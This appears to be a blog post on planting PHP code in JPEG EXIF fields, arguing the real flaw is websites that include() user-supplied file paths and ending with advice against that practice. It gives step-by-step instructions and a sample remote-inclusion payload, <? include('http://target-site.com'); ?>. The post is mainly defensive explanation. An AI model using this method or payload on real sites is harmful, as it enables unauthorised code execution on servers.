EXIF and PHP exploitation – The Truth


After reading through a couple of tutorials describing the ease with which PHP can be included directly from the EXIF data within a JPEG image, I became suspicious. Surely my eyes deceive me? Is this a late April Fools’? My first point of call was Google – which provided me with a wealth of information on EXIF functions from within PHP, but very little regarding this particular vulnerability.

There was nothing for it… time to jump in and see what the fuss was about!


In fairness, this tutorial is more of a reminder about general file security and good PHP inclusion practices. The JPEG EXIF data example is particularly illuminating in both of these aspects.

Most modern cameras and image recording devices save embedded data within their photos; this often includes the camera model, the date and time of the photograph, author information, orientation etc. This is fantastic for Joe Public, who can come home after a night of drunken debauchery, sling the camera memory card in it’s reader et Voila! – pictures recounting his sordid antics are arranged chronologically on his desktop for later viewing… GREAT!

However, it is by this very same mechanism that an unscrupulous individual could include malicious PHP in an otherwise secure website.

The core of the issue is simple – EXIF data is stored as plain text within JPEG files. This is problematic in scenarios where users are allowed to upload their own images. For example, if a forum page is engineered in such a way as to allow the arbitrary inclusion of a locally uploaded JPEG image, there is the opportunity for EXIF data spiking to take place.


  1. Open up a JPEG with an image editor that supports EXIF data modification (e.g. PSP or PS work just fine).
  2. Find the option to view image information and select EXIF Information.
  3. Paste the following into an editable field (e.g. ‘Image Title’): <? include('http://target-site.com'); ?>.

This is a very simple example where remote inclusion can take place (server settings permitting). To use, all that is required is a page where you’re able to include() the image itself using $_GET[] or otherwise. During the include process, the file is read as plain text and the PHP code is executed.

The same effects can be replicated by including a file that contains plain text PHP code (e.g. text files, Word Documents, etc).


As my original suspicions confirmed, EXIF data manipulation as an exploit is simply too good to be true. I concede that there is potential for misuse (especially on poorly coded sites and forums) as image uploads are an integral aspect of almost every modern website. However, the fault often lies with individual weak scripts that are very easy to fix. The cause of this problem is because there is a tendency for programmers to be satisfied with dangerous PHP code!

How to avoid this affecting you

Never, I repeat – NEVER use $_GET[] to retrieve a file path for inclusion. Use databases or (if absolutely necessary) internal variables to hold file paths and make inclusion by reference to these, not what you get from the users browser. Also make sure to rigorously test your scripts before deploying them and (if you’re particularly paranoid) selectively fuzz them whenever you make changes! Take heed of this and you’re flying 😉

Leave a Reply